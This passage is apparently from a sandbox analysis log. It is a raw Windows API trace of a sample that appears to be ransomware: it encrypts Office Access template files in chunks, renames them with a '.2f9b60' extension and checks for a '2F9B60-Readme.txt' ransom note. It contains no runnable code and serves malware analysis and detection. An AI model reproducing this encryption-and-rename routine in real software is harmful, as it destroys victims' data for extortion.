[0243.021] wcscpy (in: _Dest=0x202b1690, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0243.021] wcscat (in: _Dest=0x202b1690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0243.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1690) returned 1 [0243.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d190) returned 1 Thread: id = 1630 os_tid = 0x1afc [0125.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt")) returned 0x20 [0125.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt", dwFileAttributes=0x20) returned 1 [0125.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfec [0125.506] GetFileSizeEx (in: hFile=0xfec, lpFileSize=0x2311fce0 | out: lpFileSize=0x2311fce0*=1016214) returned 1 [0125.506] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0xf8192, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.506] ReadFile (in: hFile=0xfec, lpBuffer=0x2311fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2311fca8, lpOverlapped=0x0 | out: lpBuffer=0x2311fc60*, lpNumberOfBytesRead=0x2311fca8*=0x4, lpOverlapped=0x0) returned 1 [0125.509] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0125.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0125.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.509] NtQuerySystemTime (in: CurrentTime=0x2311fba0 | out: CurrentTime=0x2311fba0*=132462177308758000) returned 0x0 [0125.509] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x28d49670 [0125.509] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x76744ec2 [0125.509] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x76744ec2 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x6b9feab3 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x47b931 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x50e4b4bd [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x246cdb73 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x2ff1398a [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x1010ce65 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x39dad6c2 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x54a026ff [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x7a43480 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x414509bd [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0xcbd41ca [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x69c62d68 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x62281eeb [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x640c9610 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x6be5c0a0 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x11d7b30c [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x72faf708 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x76e7c5a3 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0xc79c677 [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x56eb2fbd [0125.510] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x7dc97dc8 [0125.511] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x1b6057d5 [0125.511] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x1af138e [0125.511] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x192dd330 [0125.511] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x5dff4cfb [0125.511] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x7d562774 [0125.511] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x771d7295 [0125.511] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x69d87474 [0125.511] RtlRandomEx (in: Seed=0x2311fb90 | out: Seed=0x2311fb90) returned 0x740f60e3 [0125.552] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.552] ReadFile (in: hFile=0xfec, lpBuffer=0x41b26910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2311fc00, lpOverlapped=0x0 | out: lpBuffer=0x41b26910*, lpNumberOfBytesRead=0x2311fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0125.554] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0125.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b80) returned 1 [0125.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b100b0 [0125.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0125.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65c0) returned 1 [0125.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.556] WriteFile (in: hFile=0xfec, lpBuffer=0x41b100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2311fc00, lpOverlapped=0x0 | out: lpBuffer=0x41b100b0*, lpNumberOfBytesWritten=0x2311fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0166.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b100b0) returned 1 [0166.161] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x7f800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.161] ReadFile (in: hFile=0xfec, lpBuffer=0x41b26910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2311fc00, lpOverlapped=0x0 | out: lpBuffer=0x41b26910*, lpNumberOfBytesRead=0x2311fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0166.238] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x7f800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0cb0 [0166.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0cb0) returned 1 [0166.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb5950 [0166.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0cb0 [0166.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bc0 [0166.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0bc0) returned 1 [0166.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.240] WriteFile (in: hFile=0xfec, lpBuffer=0x41cb5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2311fc00, lpOverlapped=0x0 | out: lpBuffer=0x41cb5950*, lpNumberOfBytesWritten=0x2311fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb5950) returned 1 [0194.613] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0xf4596, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.613] ReadFile (in: hFile=0xfec, lpBuffer=0x41b26910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2311fc00, lpOverlapped=0x0 | out: lpBuffer=0x41b26910*, lpNumberOfBytesRead=0x2311fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.731] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0xf4596, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d160 [0194.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d160) returned 1 [0194.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20373560 [0194.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d160 [0194.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d370 [0194.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d370) returned 1 [0194.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.734] WriteFile (in: hFile=0xfec, lpBuffer=0x20373560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2311fc00, lpOverlapped=0x0 | out: lpBuffer=0x20373560*, lpNumberOfBytesWritten=0x2311fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20373560) returned 1 [0205.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a00f0 [0205.397] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.398] WriteFile (in: hFile=0xfec, lpBuffer=0x1ceb9180*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x2311fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb9180*, lpNumberOfBytesWritten=0x2311fcb0*=0x15a, lpOverlapped=0x0) returned 1 [0208.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ee0 [0208.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ee0) returned 1 [0208.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a9ee0 [0208.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9bb0 [0208.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0208.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9520) returned 1 [0208.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858850 [0208.865] sprintf (in: _Dest=0x1b858850, _Format="%c%c" | out: _Dest="ba") returned 2 [0208.865] sprintf (in: _Dest=0x1b858852, _Format="%c%c" | out: _Dest="31") returned 2 [0208.865] sprintf (in: _Dest=0x1b858854, _Format="%c%c" | out: _Dest="26") returned 2 [0208.865] sprintf (in: _Dest=0x1b858856, _Format="%c%c" | out: _Dest="9e") returned 2 [0208.865] sprintf (in: _Dest=0x1b858858, _Format="%c%c" | out: _Dest="cf") returned 2 [0208.865] sprintf (in: _Dest=0x1b85885a, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.865] sprintf (in: _Dest=0x1b85885c, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.865] sprintf (in: _Dest=0x1b85885e, _Format="%c%c" | out: _Dest="21") returned 2 [0208.865] sprintf (in: _Dest=0x1b858860, _Format="%c%c" | out: _Dest="3e") returned 2 [0208.865] sprintf (in: _Dest=0x1b858862, _Format="%c%c" | out: _Dest="84") returned 2 [0208.865] sprintf (in: _Dest=0x1b858864, _Format="%c%c" | out: _Dest="d3") returned 2 [0208.865] sprintf (in: _Dest=0x1b858866, _Format="%c%c" | out: _Dest="62") returned 2 [0208.866] sprintf (in: _Dest=0x1b858868, _Format="%c%c" | out: _Dest="87") returned 2 [0208.866] sprintf (in: _Dest=0x1b85886a, _Format="%c%c" | out: _Dest="ad") returned 2 [0208.866] sprintf (in: _Dest=0x1b85886c, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.866] sprintf (in: _Dest=0x1b85886e, _Format="%c%c" | out: _Dest="d3") returned 2 [0208.866] sprintf (in: _Dest=0x1b858870, _Format="%c%c" | out: _Dest="36") returned 2 [0208.866] sprintf (in: _Dest=0x1b858872, _Format="%c%c" | out: _Dest="f8") returned 2 [0208.866] sprintf (in: _Dest=0x1b858874, _Format="%c%c" | out: _Dest="a7") returned 2 [0208.866] sprintf (in: _Dest=0x1b858876, _Format="%c%c" | out: _Dest="9c") returned 2 [0208.866] sprintf (in: _Dest=0x1b858878, _Format="%c%c" | out: _Dest="9f") returned 2 [0208.866] sprintf (in: _Dest=0x1b85887a, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.866] sprintf (in: _Dest=0x1b85887c, _Format="%c%c" | out: _Dest="86") returned 2 [0208.866] sprintf (in: _Dest=0x1b85887e, _Format="%c%c" | out: _Dest="c6") returned 2 [0208.866] sprintf (in: _Dest=0x1b858880, _Format="%c%c" | out: _Dest="b3") returned 2 [0208.866] sprintf (in: _Dest=0x1b858882, _Format="%c%c" | out: _Dest="6f") returned 2 [0208.866] sprintf (in: _Dest=0x1b858884, _Format="%c%c" | out: _Dest="f9") returned 2 [0208.866] sprintf (in: _Dest=0x1b858886, _Format="%c%c" | out: _Dest="97") returned 2 [0208.866] sprintf (in: _Dest=0x1b858888, _Format="%c%c" | out: _Dest="3b") returned 2 [0208.866] sprintf (in: _Dest=0x1b85888a, _Format="%c%c" | out: _Dest="36") returned 2 [0208.866] sprintf (in: _Dest=0x1b85888c, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.867] sprintf (in: _Dest=0x1b85888e, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.867] sprintf (in: _Dest=0x1b858890, _Format="%c%c" | out: _Dest="f0") returned 2 [0208.867] sprintf (in: _Dest=0x1b858892, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.867] sprintf (in: _Dest=0x1b858894, _Format="%c%c" | out: _Dest="49") returned 2 [0208.867] sprintf (in: _Dest=0x1b858896, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.867] sprintf (in: _Dest=0x1b858898, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.867] sprintf (in: _Dest=0x1b85889a, _Format="%c%c" | out: _Dest="78") returned 2 [0208.867] sprintf (in: _Dest=0x1b85889c, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.867] sprintf (in: _Dest=0x1b85889e, _Format="%c%c" | out: _Dest="b0") returned 2 [0208.867] RtlInitAnsiString (in: DestinationString=0x2311fd28, SourceString="ba31269ecfd41d213e84d36287add4d336f8a79c9fb686c6b36ff9973b366ea5f07c494aa178c1b0" | out: DestinationString="ba31269ecfd41d213e84d36287add4d336f8a79c9fb686c6b36ff9973b366ea5f07c494aa178c1b0") [0208.867] RtlAnsiStringToUnicodeString (in: DestinationString=0x2311fcf8, SourceString="ba31269ecfd41d213e84d36287add4d336f8a79c9fb686c6b36ff9973b366ea5f07c494aa178c1b0", AllocateDestinationString=1 | out: DestinationString="ba31269ecfd41d213e84d36287add4d336f8a79c9fb686c6b36ff9973b366ea5f07c494aa178c1b0") returned 0x0 [0208.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431462a0 [0208.867] wcscat (in: _Dest=0x431461f0, _Source="ba31269ecfd41d213e84" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\ba31269ecfd41d213e84") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\ba31269ecfd41d213e84" [0208.867] wcscat (in: _Dest=0x431461f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\ba31269ecfd41d213e84.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\ba31269ecfd41d213e84.2f9b60" [0208.867] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\ba31269ecfd41d213e84.2f9b60", NtPathName=0x2311fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\ba31269ecfd41d213e84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x430fd690 [0238.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fd690) returned 1 [0238.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430aa1a0) returned 1 [0238.117] NtQueryInformationFile (in: FileHandle=0xfec, IoStatusBlock=0x2311fd38, FileInformation=0x2311fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2311fd38, FileInformation=0x2311fd48) returned 0x0 [0238.117] NtSetInformationFile (FileHandle=0xfec, IoStatusBlock=0x2311fd38, FileInformation=0x2311fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431461f0) returned 1 [0240.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431462a0) returned 1 [0240.376] FlushFileBuffers (hFile=0xfec) returned 1 [0240.632] CloseHandle (hObject=0xfec) returned 1 [0242.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b19b0 [0242.635] wcscpy (in: _Dest=0x202b19b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.635] wcscat (in: _Dest=0x202b19b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b19b0) returned 1 [0243.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adc30) returned 1 Thread: id = 1631 os_tid = 0x1b00 [0125.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt")) returned 0x20 [0125.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt", dwFileAttributes=0x20) returned 1 [0125.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1104 [0125.566] GetFileSizeEx (in: hFile=0x1104, lpFileSize=0x22e7f8a0 | out: lpFileSize=0x22e7f8a0*=512023) returned 1 [0125.566] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x7d013, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.566] ReadFile (in: hFile=0x1104, lpBuffer=0x22e7f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22e7f868, lpOverlapped=0x0 | out: lpBuffer=0x22e7f820*, lpNumberOfBytesRead=0x22e7f868*=0x4, lpOverlapped=0x0) returned 1 [0125.568] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0125.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.568] NtQuerySystemTime (in: CurrentTime=0x22e7f760 | out: CurrentTime=0x22e7f760*=132462177309382000) returned 0x0 [0125.568] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x1caad99f [0125.568] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x1306b007 [0125.568] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x1e1150e6 [0125.568] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x5ac66600 [0125.568] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x420fc82a [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x28460d07 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x53eee1d3 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x58f428a [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x78696463 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x5dd4f244 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x3496cc17 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x3a55d3dc [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x6b33b2af [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x1c98f5c2 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x36056c05 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x3b173d76 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x339e6762 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x46cd5fd8 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x1bed520f [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0xfa59531 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x377a1a79 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x31970dcc [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x4f3394e3 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x1211574f [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x1a8700c [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0xf5c7e4c [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x37335cbf [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x6ec17f1e [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x7813b2e3 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x547adc86 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x552ec6c4 [0125.569] RtlRandomEx (in: Seed=0x22e7f750 | out: Seed=0x22e7f750) returned 0x3d487410 [0125.578] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.578] ReadFile (in: hFile=0x1104, lpBuffer=0x41b13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22e7f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41b13cc0*, lpNumberOfBytesRead=0x22e7f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0125.580] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65c0) returned 1 [0125.580] RtlAllocateHeap 